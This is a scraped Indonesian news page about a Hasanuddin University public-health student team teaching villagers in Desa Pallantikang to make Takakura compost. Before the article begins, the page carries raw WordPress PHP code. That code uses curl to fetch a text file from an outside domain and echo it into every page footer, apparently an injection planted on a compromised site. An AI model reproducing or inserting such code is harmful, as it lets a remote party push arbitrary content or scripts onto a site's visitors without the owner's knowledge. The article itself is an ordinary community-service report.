function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Pelatihan Pupuk Kompos Metode Takakura: Strategi Desa Pallantikang Menuju Pembangunan Berkelanjutan dan Pencapaian SDGs - Suluh Nusantara

Home / Uncategorized

Kamis, 23 Januari 2025 - 18:10 WIB

Pelatihan Pupuk Kompos Metode Takakura: Strategi Desa Pallantikang Menuju Pembangunan Berkelanjutan dan Pencapaian SDGs

Doc. Foto Bersama  mahasiswa PBL II Posko 18 dengan Masyarakat Desa Pallantikang yang menghadiri Pelatihan (Istimewa)

Doc. Foto Bersama mahasiswa PBL II Posko 18 dengan Masyarakat Desa Pallantikang yang menghadiri Pelatihan (Istimewa)

Untuk meningkatkan kesadaran dan pemahaman masyarakat Desa Pallantikang, Kecamatan Bangkala, mengenai pengelolaan sampah organik, mahasiswa Posko 18 dari Praktik Belajar Lapangan II (PBL II) Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) menyelenggarakan pelatihan pembuatan pupuk kompos menggunakan metode Takakura. Pelatihan ini dirancang untuk memberikan edukasi dan keterampilan praktis kepada masyarakat setempat mengenai cara mengelola sampah organik secara efektif, sekaligus memanfaatkan limbah rumah tangga menjadi sesuatu yang bernilai ekonomis.

Metode Takakura dipilih karena dikenal sebagai teknik pengomposan yang sederhana, hemat biaya, dan dapat diterapkan di lingkungan rumah tangga. Dalam kegiatan ini, masyarakat diajarkan langkah-langkah pembuatan kompos, mulai dari pemilahan sampah organik, proses fermentasi, hingga cara mengoptimalkan hasil kompos untuk keperluan pertanian atau kebun rumah. Tidak hanya itu, peserta juga diberi pemahaman tentang dampak positif pengelolaan sampah organik terhadap lingkungan, seperti pengurangan volume sampah yang dibuang ke tempat pembuangan akhir dan pengurangan emisi gas rumah kaca.

Baca Juga  Evaluasi Pemasangan Poster ‘Bahaya Merokok’ Oleh Posko 23 PBL III Fakultas Kesehatan Masyarakat Universitas Hasanuddin Di Desa Bontosunggu, Kecamatan Tamalatea, Kabupaten Jeneponto

Kegiatan ini berlangsung di Kantor Desa Pallantikang, Kecamatan Bangkala, pada hari Kamis, 23 Januari 2025, pukul 15.00-16.00. Kegiatan ini dimulai dengan pengisian pre-test untuk mengetahui pengetahuan awal peserta. Kemudian, Muhammad Irsyad Izam dari Posko 18 menyampaikan materi dengan judul “Pelatihan Pembuatan Pupuk Kompos dari Sampah Organik menggunakan Metode Takakura”. Setelah itu, kegiatan dilanjutkan dengan kuis berhadiah dan beberapa sesi ice breaking untuk meningkatkan interaksi dan kenyamanan peserta.

Kegiatan diakhiri dengan pengisian post-test untuk mengevaluasi peningkatan pengetahuan peserta. Jumlah peserta yang mengikuti kegiatan ini adalah 15 orang, dengan komposisi 2 orang laki-laki dan 13 orang perempuan dari masyarakat Desa Palantikang. Dengan pelatihan ini, diharapkan masyarakat dapat meningkatkan kemampuan mereka dalam mengelola sampah organik secara efektif dan berkelanjutan, sehingga dapat mendukung pencapaian Tujuan Pembangunan Berkelanjutan (SDGs) nomor 12, yaitu “Konsumsi dan Produksi yang Bertanggung Jawab”.

Mahasiswa Posko 18 Praktik Belajar Lapangan II Fakultas Kesehatan Masyarakat Universitas Hasanuddin (PBL II FKM Unhas) berharap bahwa pelatihan ini dapat memberikan dampak positif yang signifikan bagi masyarakat dalam mengelola sampah secara efektif dan berkelanjutan. Dalam waktu dekat, diharapkan evaluasi dan monitoring dapat dilakukan untuk menilai hasil pelatihan ini, serta tindak lanjut yang akan memperkuat kemampuan masyarakat dalam mengelola sampah organik.

Baca Juga  Seminar Akhir PBL III Posko 14: Pemparan Hasil Evaluasi Keberlanjutan Program Intervensi Kesehatan di Desa Tombo-Tombolo, Kecamatan Bangala, Kabupaten Jeneponto

Testimoni dari masyarakat Desa Pallantikang ini menunjukkan antusiasme yang besar terhadap pelatihan pembuatan pupuk kompos metode Takakura. Salah satu testimoni dari masyarakat Desa Pallantikang menyatakan, ”Baru kali ini kudengar tentang metode Takakura yang bisa mengolah sampah sayur menjadi kompos. Selama ini langsung saja kubuang daripada membusuk. Tapi karena hadirnya pelatihan ini bisaki mendapatkan ilmu yang bermanfaat untuk lingkungan sekitarta. Dengan Takakura, sampah yang biasanya kita anggap tidak berguna, ternyata bisa menjadi pupuk yang berguna untuk kebun atau tanamanta. Kita berharap bisa gunakan metode ini di rumah masing-masing. Terima kasih kepada adik-adik mahasiswa yang mengadakan pelatihan ini”.

 

Share :

Baca Juga

Uncategorized

FKM UNHAS Perkuat Jejak Internasional: Mahasiswa Doktoral dan Dosen FKM Presentasikan Hasil Penelitian pada ICOH-CVD 2025 di Bangkok, Thailand

Uncategorized

FKM Unhas Hadirkan Ahli Imunologi Stanford University Bahas Karakterisasi Antibodi dalam Penularan Penyakit Infeksi dari Perspektif Kesehatan Global

Uncategorized

Mahasiswa FKM Unhas Siap Mengabdi di Desa Labokong Lewat PBL I

Uncategorized

KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Pembuatan Penerangan Jalan Umum Berbasis Tenaga Surya

Uncategorized

Forum KAP RCCE+ Dukung Pendampingan TPK BKKBN Zero Dose Immunization di Kabupaten Supiori

Uncategorized

Mahasiswa FKM Unhas Posko 33 Desa Ganra Gelar Seminar Awal dalam Rangka PBL I di Kecamatan Ganra, Kabupaten Soppeng

Uncategorized

Mahasiswa FKM Unhas Tinjau Efektivitas Edukasi Pernikahan Dini Lewat Permainan Interaktif di Bulujaya

Uncategorized

Pengabdian Masyarakat Departemen Gizi Unhas : Edukasi Jajanan Sehat Anak Sekolah di wilayah pesisir SD 28 Kassikebo Pangkep